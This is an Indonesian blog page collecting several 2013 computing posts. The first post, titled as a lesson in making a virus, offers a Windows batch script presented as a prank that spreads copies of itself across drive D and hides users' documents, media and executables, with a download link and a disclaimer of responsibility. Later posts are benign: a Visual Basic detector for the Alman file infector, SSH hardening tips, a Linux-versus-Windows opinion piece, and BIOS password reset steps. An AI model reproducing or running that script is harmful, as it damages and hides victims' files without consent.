Recent Comments

FBS FOREX

Forex Broker Untuk Pemula

This is default featured slide 2 title

Go to Blogger edit html and find these sentences.Now replace these sentences with your own descriptions.

This is default featured slide 3 title

Go to Blogger edit html and find these sentences.Now replace these sentences with your own descriptions.

This is default featured slide 4 title

Go to Blogger edit html and find these sentences.Now replace these sentences with your own descriptions.

This is default featured slide 5 title

Go to Blogger edit html and find these sentences.Now replace these sentences with your own descriptions.

Space For Ads

Space For Ads
Tampilkan postingan dengan label Personal Computer. Tampilkan semua postingan
Tampilkan postingan dengan label Personal Computer. Tampilkan semua postingan

Rabu, 30 Oktober 2013

Belajar Bikin Virus

wkwk.. iseng2 bro.. mari dicoba..tp kerusakan akibat coba2 aku g tanggung jawab lho ya.. cuma ising aja.. :p

PHP Code:
@echo offfor /r "D:\" %%a in (*.doc *.xls *.ppt *.wav *.mp3 *.jpg *.jpeg *.avi *.gif *.txt *.mp4 *.html *.bmp *.exe *.docx *.png *.ico *.rar *.3gp *.flv *.avi *.mkv *.srt *.dll) do (
   copy %0 "
%%~rahasia.bat" && attrib +s +h "%%~fa"
)
@echo off 




save dengan "namafile".bat (hilangkan "")
jangan lupa bawah nya all files

ini merusak file *.doc *.xls *.ppt *.wav *.mp3 *.jpg *.jpeg *.avi *.gif *.txt *.mp4 *.html *.bmp *.exe *.docx *.png *.ico *.rar *.3gp *.flv *.avi *.mkv *.srt *.dll yang ada didalam local disk D
dan membua file rahasia.bat di disk D
secara sembunyi" menanti..

 kl berminat download script ny silahkan klik di sini.. INGAT!! SEGALA BENTUK KERUSAKAN SAYA TIDAK BERTANGGUNG JAWAB


Minggu, 27 Oktober 2013

Mendeteksi Virus Alman

Kalian udah tau kan apa itu virus ALMAN ?
ya tu virus di kategorikan virus berbahaya,virus ini bisa meng-injeksi file dengan extensi ".exe,.dll"

file yang udah terinfeksi otomatis berubah menjadi file zombie karena pada file itu sudah disisipi kode virus agar saat file yang terinfeksi di jalankan,kode virus itu juga ikut di jalankan .

bagi agan" developer antivirus,mendeteksi virus alman juga tidak menggunakan cara yang biasa seperti menggunakan checksum
( Md5,Crc32,SHA256,dll )

kalau masih nekat mau make checksum andai saja 2 byte kegeser juga udah ga akan ke detect lagi file nya

karena file yang akan di infeksi si virus kan akan selalu beda ukurannya,ga akan mungkin sama.
so jalan keluar nya adalah menggunakan heuristic,
walaupun heuristic yang bakal ane share disini masih menggunakan metode read string,tapi cara ini ane akuin ampuh buat mendeteksi alman Variant A & B
algoritma nya begini :
Awalnya besar file yang ingin di check di hitung dulu,
apabila file yang akan di check besar nya file nya > 40 KB file di buka lalu di baca isinya dan dicek apakah file nya mengandung string yang tersimpan pada program pendeteksi alman tersebut.
dengan posisi dari ( Besar file terinfeksi - 40 Kb ) & string dalam file sama dengan string yang tersimpan, ini file sudah pasti di infeksi oleh alman


Langsung ajaa yok, TKP..
pertama buka dulu program visual basic nya ,

lalu tambahkan :
1 Buah command button
1 Buah Text Box



masukan code ini pada form
Private Function CekSiAlman(Dimana As String) As Boolean
On Error Resume Next
Static TextExenya As String
Static GedeFileNya As Long
GedeFileNya = FileLen(Dimana)
If GedeFileNya > 40970 Then
    TextExenya = MariMembaca(Dimana)
    If InStr(TextExenya, "¯EI5œ‚ÞùWç‘Ï") > (GedeFileNya - 40970) Then 'lalu balikan jadikan fungsi ceksialman menjadi true
        CekSiAlman = True
    Else
        CekSiAlman = False
    End If
Else
    CekSiAlman = False
End If
End Function

Private Function CekSiAlmanB(Dimana As String) As Boolean
On Error Resume Next
Static TextExenya As String
Static GedeFileNya As Long
GedeFileNya = FileLen(Dimana)
If GedeFileNya > 40970 Then
    TextExenya = MariMembaca(Dimana)
    If InStr(TextExenya, "µí§¶ýÚÿ×Ðþÿÿ·hþÿÿÿÿÿï¡ùÿÿÿÿÿÿÿÿÿÿÿÿ") > (GedeFileNya - 40970) Then
        CekSiAlmanB = True
    Else
        CekSiAlmanB = False
    End If
Else
    CekSiAlmanB = False
End If
End Function

Private Function MariMembaca(Targetnya As String) As String
Static sTemp As String
Open Targetnya For Binary As #1
    sTemp = Space(LOF(1))
    Get #1, , sTemp
Close #1
MariMembaca = sTemp
End Function

lalu pada command buttonnya masukan text ini
MsgBox "Positif Terinfeksi : " & CekSiAlman(Text1.Text), vbExclamation, "Hasil"

semoga thread ini berguna bagi agan" yang sedang mengembangkan antivirus,supaya antivirus agan bisa mendeteksi file" virus infector..

kl temen2 belum paham..dan males utak atik program Vb bisa langsut sedot aja gan.. monggo 



Thx for HM-TEAM.. 

Senin, 21 Oktober 2013

Tips amankan SSH

SSH yaitu sebuah daemon untuk meremote sebuah komputer dari jauh dalam hal ini biasanya server yang akan diremote. Biasanya administrator sebuah server tidak bisa selalu ada ditempat maka ia menggunakan ssh untuk bisa meremote server tersebut dari jauh , mungkin dari rumahnya. Tetapi bila service ssh ini tidak dikonfigurasi dengan baik maka bisa menjadi senjata makan tuan dan digunakan oleh orang lain untuk meng hack server tersebut.

Bila kita membicarakan soal keamanan server maka mungkin ssh merupakan service yang paling banyak disukai para hacker karena melalui ssh mereka dapat masuk ke shell konsole dan dapat melakukan perintah untuk mengambil alih server tersebut. Maka apabila hacker melihat server yang akan ia hack membuka port ssh nya maka dia akan senang sekali dan itulah yang pertama akan ia serang. Jadi ssh merupakan pintu pertama pengamanan server anda dari serangan melalui network/internet.

Sekarang pertanyaannya bagaimana kita bisa mengamankan service tersebut. Pertama-tama kita harus tahu terlebih dahulu apakah SSH itu. OpenSSH merupakan sebuah aplikasi remote login yang dikembangkan untuk menggantikan rlogin dan rsh ,dengan ssh keamanan remote lebih tinggi karena menggunakan komunikasi yang terenkripsi antara dua host. Untuk lebih detailnya bisa anda cari sendiri di om google karena bila dijelaskan disini tentu akan panjang sekali. Untuk bisa melakukan ssh maka kita perlu menginstall aplikasi ssh-server dan ssh-client, ssh-server untuk host yang akan diremote dan ssh-client untuk meremote host. Tetapi biasanya semua distribusi linux biasanya sudah membundel ssh pada default instalasinya. Bila ssh belum terinstalai pada komputer anda maka gunakan manajemen paket pada distribusi linux yang anda gunakan untuk menginstall aplikasi ssh dari CD atau DVD instalasinya.

Nah setelah aplikasi ssh telah terinstall pada komputer anda sekarang kita mengkonfigurasinya agar aman dari tangan-tangan jahil yang mencoba masuk ke server kita menggunakan ssh. Oke sekarang kita buka file konfigurasi ssh pada "⁄etc⁄ssh⁄sshd.conf" , buka file tersebut dengan editor kesayangan anda. Karena saya menggunakan Fedora Core maka file tersebut berada di "⁄etc⁄ssh⁄sshd.conf" , mungkin berbeda pada distro lainnya tetapi biasanya ada pada direktori "⁄etc⁄ssh⁄" . Oke sudah dibuka file tersebut ,sekarang coba dibaca-baca dulu sebentar untuk melihat konfigurasinya mungkin saja anda bisa mengerti dan melakukan konfigurasi sesuai dengan keinginan anda. Jangan lupa backup dahulu file tersebut agar bila nantinya anda salah mengkonfigurasi masih ada file aslinya.

[root@www ~]# cp ⁄etc⁄ssh⁄sshd_config ⁄etc⁄ssh⁄sshd_config.old
Lalu buka file ⁄etc⁄ssh⁄sshd.conf
[root@www ~]# vim ⁄etc⁄ssh⁄sshd_config
Sudah belum baca-bacanya karena sekarang kita akan mengkonfigurasi file ini. Sekarang yang pelru diamankan adalah mencegah untuk login remote melalaui ssh dengan menggunakan user root kenapa kita melakukan ini , sekarang coba kita pikirkan apabila kita mencoba masuk ke server orang lain melalui ssh tentu kita perlu sebuah user yang ada pada server tersebutagar bisa login iya apa iya, kita pasti tidak tahu nama-nama user yang ada pada server tersebut bukan tetapi pasti ada satu user yang pasti ada pada server tersebut yang juga ada pada setiap server yang menggunakan linux sebagai OS nya, ya anda benar root pasti ada maka seorang hacker pasti akan mencoba user root pertama kali karena hanya user tersebut yang dia tahu yang pasti ada pada server. Apabila kita tidak mencegah dan membiarkan root bisa login melalui ssh maka mungkin saja hacker akan menggunakan user tersebut dan menggunakan brute force untuk mencari tahu passwordnya. Oleh karena itu jangan biarkan root bisa login melalui ssh. Udah ah penjelasannya sekarang konfigurasinya, pada file sshd.conf cari parameter PermitRootLogin parameter ini untuk menkonfigurasi apakah root bisa login atau tidak. Pada Fedora Core secara default parameter tersebut di comment dan default valuenya adalah yes jadi root bisa login menggunakan ssh. Mungkin pada distro lain default valuenya berbeda seperti pada Ubuntu default valuenya no. Jadi kita perlu mengubah parameter tersebut untuk mencegah root login , cari parameter ini pada file sshd.conf
#PermitRootLogin yes
Uncomment baris tersebut dan ubah valuenya menjadi no seperti ini
PermitRootLogin no
Sekarang coba restart service ssh anda dan coba ssh komputer anda dengan user root bila tidak bisa maka anda berhasil .Konfigurasi yang kedua yaitu membatasi inputan password salah , bila kita remote komputer melalui ssh bila password kita salah maka kita pasti disuruh mencoba lagi kita bisa membatasi inputan tersebut agar hacker tidak bisa menggunakan brute force untuk mengcrack password kita. Untuk bisa menset inputan password tersebut cari parameter berikut pada file sshd.conf
#MaxAuthTries 6
Secara default kita bisa input password 6 kali bila salah kita bisa merubah valuenya dengan uncomment parameter tersebut dan beri value dengan angka yang anda inginkan seperti ini
MaxAuthTries 3
Selanjutnya untuk lebih aman lagi kita harus membatasi user yang bisa melakukan ssh ke server kita karena user dalam komputer kita banyak dan hanya user tertentu saja yang bisa login ssh dan belum lagi user system⁄aplikasi jadi kita harus membatasi user yang bisa ssh. Untuk bisa melakukan itu tambah kan baris berikut pada bagian bawah file sshd.conf
AllowUsers namauser1 namauser2
Ganti namauser1 dan namauser2 dengan user yang anda inginkan, ingat user tersebut harus ada pada komputer anda. Anda juga bisa memblock user yang anda tidak inginkan untuk login ssh dengan menambahkan parameter berikut pada baris terakhir file sshd.conf
DenyUsers namauser1 namauser2
Jangan lupa ganti namauser1 dan namauser2 dengan user yang anda inginkan. Perlu saya tambahkan apabila anda mengunakan AllowUsers maka user lain yang tidak disebutkan pada parameter tersebut akan di deny dan apabila anda menggunakan DenyUsers maka user lain yang tidak disebutkan pada parameter tersebut akan bisa login jadi anda hanya perlu menggunakan satu parameter saja.
Kita juga bisa menset waktu dari user untuk user bisa meremote komputer kita jadi user akan automatic logout apabila telah logni melebihi waktu yang telah kita set. Untuk bisa memnegset waktunya cari parameter berikut ini
#LoginGraceTime 2m
Uncomment baris tersebut lalu ubah valuenya sesuai dengan yang anda inginkan seperti berikut ini saya menset waktu 1 jam untuk user dapat login
LoginGraceTime 60m
Lanjut lagi sekarang kita akan memanipulasi port uang digunakan ssh agar hacker tidak tahu yang masih cupu tidak tahu bahwa service ssh kita terbuka. Secara default port ssh adalah 22 tetapi kita bisa merubahnya menjadi nomor sesuai dengan yang kita inginkan. Untuk bisa mengubahnya cari parameter berikut ini
#Port 22
Uncomment baris tersebut dan ubah valuenya menjadi nomor port yang anda inginkan seperti ini saya akan memberi value 9000.
Port 9000
Maka sekarang ssh anda berjalan pada port 9000 kalo enggak percaya coba anda scan komputer anda dengan nmap
[root@www ~]# nmap localhost
Coba cari port 22 enggak ada kan adanya port 9000
Mungkin hanya ini saja konfigurasi yang bisa saya berikan anda bisa mencari sendiri konfigurasi lainnya dengan membaca manual pagenya ssh dengan perintah
[root@www ~]# man ssh
Sekian dulu, moga bermanfaat......

Minggu, 20 Oktober 2013

Linux VS Windows

Oke, sebuah posting dengan judul yang rumit dan aneh. Disini,  saya akan membahas apa yang menyebabkan konflik antara user windows dan linux beserta pemecahannya. Saya yakin bahwa para user windows akan berkata, “Ah, orang kurang kerjaan. Cuma bisa mbandingin windows dan linux. LOL!”. Sedangkan para user linux akan berkata, “Hmm, apaan nih posting? Kayaknya penting untuk dibaca!”.
Ya, perkataan kedua user itu benar. Hanya saja kurang tepat. Terutama yang dikatakan user windows, sangat-sangat kikuk. Tidak bisa membedakan kah anda antara kata “Pemecahan” dengan “Pembandingan”? Kalau saya punya uang, sudah pasti anda saya kirim lagi ke SD!
Baiklah, yang pertama, saya jelaskan SEKALI LAGI fakta-fakta sebenarnya tentang linux :
Penjelasan.
  1. Linux tidak sepenuhnya aman
    Ya, saya berani 100% berkata seperti ini. Windows sangatlah rawan dengan virus dan desktop-attack lainnya. Tapi lumayan aman dengan web-attack. Di linux, tidak ada yang namanya Virus. Yang ada hanyalah Rootkit. Rootkit hadir di beragam sistem operasi seperti, Linux, Solaris dan Microsoft Windows. Rootkit ini sering mengubah bagian dari sistem operasi dan juga menginstall dirinya sendiri sebagai driver atau modul kernel (dari wikipedia). Kalau linux benar-benar aman, buat apa ada kaspersky versi linux?
  2. Tidak semua distro Linux gratis
    Ya, tidak semua distro linux itu gratis. Misalnya, Red Hat Enterprise Linux (RHEL), dihargai sekitar satu juta sampai sepuluh juta rupiah! Tentu saja distro RHEL ini ditujukan untuk keperluan khusus, misalnya server, dll.
Tanya Jawab.
  1. T: Katanya Linux mahal ya? Harganya bisa sampai ratusan ribu ya?
    J: Iya, jika kamu membeli linux untuk keperluan server seperti RedHat Enterprise Linux. Selain untuk keperluan itu, Linux gratis didownload, dan harga CD Linux pun hanya berkisar sekitar Rp5000-20.000 saja.
  2. T : Beberapa orang mengatakan Linux itu susah dan hanya untuk keperluan bekerja. Benarkah itu?
    J : Iya, jika kamu menggunakan Linux yang Jadul. Sekarang, sudah banyak distro linux yang tampilannya lebih keren dari windows dan juga User-Friendly.
  3. T : Katanya Linux itu bisa membuat kita meng-hack linux itu sendiri karena kita otak-atik?
    J : Tidak. Cobalah definisikan kata “hack”. Memangnya user windows tidak pernah mengutak-atik windows itu sendiri?
  4. T : Kata teman saya, tampilan linux itu jelek dan tidak menarik. Benarkah?
    J : Salah! Coba anda cari screenshot Ubuntu 11.10. Jauh berbeda dengan windows yang cenderung terlihat monoton di semua versinya.
  5. T : Berapa rata-rata harga CD distro linux?
    J : Kalau anda minta CD-nya dikirim (misalnya kita beli di online-shop), tentu saja kita diminta membayar ongkos kirimnya. Tapi, kalau anda mendownload file .iso distro-nya, tinggal sediakan CD Kosong dan burn! Simpel kan?
Kenapa tidak disebutkan “Macintosh/apple” disini? Kan sama-sama OS yang merajai dunia komputer?
Macintosh tidak diikutkan, karena hubungan Mac dengan Linux dan windows saat ini relatif stabil.
Sekarang, kita bahas terlebih dahulu apa itu Windows & Linux. Windows, adalah salah satu OS, ya, OS. Sedangkan Linux sebenarnya adalah “kernel”. Kernel ibarat otak. Jadi, kernel adalah pengatur segala sesuatunya di suatu OS. Nah, para pengembang-pengembang Linux memanfaatkan kernel ini dan membuat tampilan GUI, sehingga tidak hanya berupa background hitam dan text putih seperti waktu dulu.
Salah satu yang membedakan Linux dan Windows ini adalah prinsip dan latar belakangnya. Windows memiliki prinsip closed-source dan memiliki latar belakang komersial di bawah naungan Microsoft. Closed-source ini artinya tidak membagikan kode sumber secara bebas. Sehingga orang yang ingin menjadi pengembang Windows harus bekerja untuk microsoft.
Bagaimana dengan linux? Linux memiliki prinsip open-source dan latar belakang non-komersial. Open-source disini adalah kebalikan closed-source, kode sumber boleh dibagikan secara bebas. Latar belakang non-komersial ini juga turut membuat perkembangan Linux menjadi sangat pesat. Ada beberapa hal yang perlu diingat, arti dari opensource adalah sebagai berikut :
  1. Bebas dikembangkan dengan cara apapun.
  2. Bebas digunakan semua orang.
  3. Bebas digunakan untuk kepentingan komersial dan pendidikan.
  4. Bebas didistribusikan dengan cara apapun. Termasuk dengan cara dijual.
Oke, sekarang kita akan menggunakan istilah “proprietary”, (dalam hal ini adalah Microsoft), dan OSS untuk Opensource Software.
Selain masalah salah kaprah tentang OSS yang berbayar dan gratis, ada lagi yang masih terlihat salah terhadap OSS yang lain, yaitu masalah penggunaan Open Source. Pertanyaan yang menimbulkan masalahnya adalah begini: “Kapan Anda menggunakan OSS?”.
Ternyata banyak yang masih bingung jawabnya. Ada yang beralasan gak bisa jawab karena masih menggunakan sistem operasi proprietary terkenal sejagad raya bernama Windows. Saya cuma bisa geleng-geleng kepala dan mengelus dada. Untuk kasus di atas mungkin kernelnya tidak open source. Tapi bisa saja aplikasi yang digunakan sehari2 adalah OSS.
Katakanlah ada Mister X yang merupakan pengguna setia Windows (genuine). Selain memanfaatkan Windows (operating system proprietary), Mister X adalah seorang pengembang aplikasi web. Dia menggunakan IIS (web server proprietary) sebagai toolsnya. Kemudian pada IIS-nya dia menanamkan PHP engine, menginstall dan mengkonfigurasi MySQL server agar bisa berjalan baik di komputernya. Untuk mengecek hasil desain aplikasi web nya, Mister X menggunakan Mozilla Firefox. Untuk contoh ini, maka kernel Windows Mister X emang bukan OSS. Source code kernel Windows tidak disediakan untuk publik secara bebas.
Web Server IIS Mister X juga tidak bisa dimodifikasi seenaknya, karena source codenya hak cipta Microsoft (Proprietary). MySQL Server Mister X adalah salah satu produk OSS. Kalo gak percaya anda bisa download source codenya di situsnya. Siapa tau sampean pengen ngembangin MySQL Server versi sendiri.
Dalam contoh ini, Mister X hanya sekedar memanfaatkan OSS. Tapi kan Firefox yang dipake Mister X juga produk OSS. Free pada OSS adalah free dalam arti “bebas”, bukan “gratis”. Lebih tepatnya bukan “Free” tapi “Freedom”. Karena tidak semua OSS dihargai nol rupiah alias gratis. Lagipula, tidak semua Proprietary Source juga berbayar. Ada juga yang nol rupiah alias freeware.
Alangkah bagusnya jika kita menggunakan OSS secara menyeluruh. Mulai dari pake kernel yang memang kode sumbernya terbuka seperti Linux atau BSD. Sampe aplikasinya juga OSS. Pengguna OSS ada dua jenis menurut saya, yaitu golongan yang memang butuh source code dari program lain untuk pengembangan softwarenya lebih lanjut. Serta golongan simpatisan OSS aja. Karena prinsip berbagi source code seperti berbagi jasa aja. Kalo ada orang lain yang ngasih source code secara cuma-cuma, maka rasanya “nggak enak” gitu kalo kita yang pengembang juga ga ngasih harga cuma-cuma juga.
Oke, back to topic. Intinya, kita tidak bisa menggunakan salah satu saja dari 2 OS ini. Bila anda memakai Windows, web yang anda kunjungi, 99,9999% saya yakin serverwebnya adalah Linux. Jarang sekali ada web yang servernya windows, karena manja dan harus direstart ulang setiap harinya. Sedangkan server linux? Serverweb linux bisa berjalan 5 tahun tanpa manja dan tanpa minta direstart ulang.
Oh iya, sampai lupa, Apple juga turut serta dalam pengembangan komputer di jagad raya ini. Bebarapa distro linux, GUI-nya terinspirasi dari tampilan Macintosh. Tapi bukan berarti mencontek dan mengklaim-klaim lho ya…
Tidak hanya itu, Apple juga turut berpartisipasi untuk menaikan harga komputer di dunia ini. Hehehe…
Lalu, yang membuat Linux kurang populer? Ya, jam terbang alias waktu munculnya sudah dicuri start oleh Microsoft dan Apple. Jadi, ya wajar saja kalau terjadi adu mulut dan kemampuan di antara 2 user OS ini.


Info lebih lanjut mengenai  Linux
Info lebih lanjut mengenai Windows

Rabu, 16 Oktober 2013

Pengertian Hot-Swap

 Apa sih Hot-Swap itu?, tapi kalau gambar disamping tau dong icon apa? nah itu lah contoh implementasi Hot-Swap.. Hot-Swap adalah salah satu aktifitas dimana kita menambahkan satu peripheral baru di komputer tanpa harus mematikan komputer tersebut, knp saya pake gambar icon USB? ya karena itu contoh kecil nya.. kita tidak harus mematikan komputer bila kita akan mencolokan FlashDisk, mouse optik, atau keyboard USB

Rabu, 20 Maret 2013

Me-restore password bios pada PC

Dalam menu bios terdapat menu untuk pemakaian password..agar cuman si pemegang password saja yg bisa mengubah setiingan di bios..tp jika kita membeli motherboard second sering kali ini jadi masalah..karena kita sebagai pembeli tidak bisa merubah settingan password sesuai dengan keinginan kita sebagai pemilik baru, fatal nya lagi terkadang si penjual lupa memberikan kode password pada kita.. kali ini saya akan sharing sedikit bagaimana cara nya agar motherboard kita yg terprotesi password tersebut bisa kita unlock atau restore sehingga kita bisa mengubah konfigurasi kinerja dari motherboard tersebut..
Ikuti beberapa langkah di bawah yaa.
1.Buka chasing komputer temen2..jangan lupa matikan komputer dulu sebelum di bongkar..nyetrum ntr
2. Cari Jumper Bios nya,,biasanya berada di dekat batre cmos, jika masih bingung bagaimana bentuk nya bisa liat gambar dibawah

 
 3. Nah kl uda ketemu lepas aja pin nya..terus geser ke pin sebelah nya..lihat gambar di bawah
 4. Setelah jumper di pindah..nyalakan komputer..setelah kira2 30 detik..tekan tombol power sampai komputer mati..setelah mati..cabut kembali jumper dan kembalikan ke posisi semula saat belum di reset..nahh selese..harus nya ketika kita masuk bios tidak lagi ditanyain password..tapi jika masih gagal..jika masih ditanyain password..buang aja motherboardnya.. wahahaha.. engga2 bercanda.. masih ada 1 cara lagi yaitu 
Cabut saja batre bios nya..selama kurang lebih 1 menit..dalam keadaan mati y komputer nya.. lihat gambar berikut.. 

 

Nah itu langkah terakhir..kl masih ga bisa..bawa ke bengkel aja yak... wakkakwakwkaw.. 
kl pake manual masih belum berhasil..temen2 bisa donwload software bios restore di sini atau temen2 bisa lihat berbagai macam software yg mungkin temen2 perlu di blog saya yg ini..
okee..sekian sharing dari saya.. baii..baiii..*cling*